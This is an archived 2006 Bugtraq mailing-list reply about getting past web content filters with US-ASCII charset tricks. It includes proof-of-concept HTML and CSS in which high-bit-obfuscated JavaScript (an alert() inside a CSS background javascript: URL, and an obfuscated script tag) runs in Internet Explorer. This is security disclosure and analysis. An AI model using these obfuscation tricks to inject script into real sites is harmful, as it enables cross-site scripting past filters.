bugtraq - Re: Bypassing of web filters by using ASCII

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [<thread-prev] [thread-next>] [day] [month] [year] [list]

Date: Mon, 26 Jun 2006 18:56:31 +0100
From: Hubert Seiwert <hubert@...tpoint.ltd.uk>
To: bugtraq@...urityfocus.com
Cc: "James C. Slora Jr." <james.slora@...a.com>
Subject: Re: Bypassing of web filters by using ASCII

Hi,

I've found that the two methods you described work, e.g. using HTML such as this:

<html>
<link rel="stylesheet" type="text/css" href="ascii.css">
<span>If this text is orange and an alert appears, the obfuscated JS in the CSS was evaluated</span>
</html>

and a CSS file like this:

---ascii.css---
@charset "US-ASCII";

óðáî    û                ãïìïòº ïòáîçå»                âáãëçòïõîäº õòì¨§êáöáóãòéðôºáìåòô¨¢èåììï¢©»§©        ý

/* code above is
span    {
                color: orange;
                background: url('javascript:alert("hello");')
        }
*/
---------------

The color attribute and JS code get executed in IE.

I could not get @charset to work as an inline style directive.

Setting document.charset also works, although I have to reload the page in IE
(this can probably be avoided with some further hacking):

<html>
<head>
<script>document.charset = 'US-ASCII';</script>
</head>
<body>¼óãòéðô¾áìåòô¨§ôåóô§©¼¯óãòéðô¾</body>
</html>

So to change the charset, you need to be able to inject into the stylesheet,
include a remote stylesheet, or inject script code to set document.charset.

If any of those are possible, an attacker may as well inject malicious code directly,
though being able to obfuscate the JS code in this way may help bypass client side filters.

I don't currently see how this "ascii vulnerability" would make code injection possible on
webservers where the Content-Type is not US-ASCII already, as the 3 methods mentioned
to change the charset (http-equiv content-type header, CSS @charset, document.charset)
depend on being able to inject things already.

Regards,

-- 
Hubert Seiwert

Internet Security Specialist, Westpoint Ltd
Albion Wharf, 19 Albion Street, Manchester M1 5LN, United Kingdom

Web: www.westpoint.ltd.uk
Tel: +44-161-2371028

James C. Slora Jr. wrote:
> Amit Klein wrote Thursday, June 22, 2006 3:47 AM
> 
>> So in order to exploit this in HTML over HTTP, the attacker needs to
> either add/modify the Content-Type response header, or to add/modify the
> META tag in the HTML page.
> 
> There are other ways that might carry a bigger injection threat:
> 
> Style sheet:
> http://msdn.microsoft.com/library/default.asp?url=/workshop/author/dhtml/reference/properties/charset_1.asp
> 
> Object property:
> http://msdn.microsoft.com/library/default.asp?url=/workshop/author/dhtml/reference/properties/charset.asp
> 
> 
> By extension, it should also work for inline styles.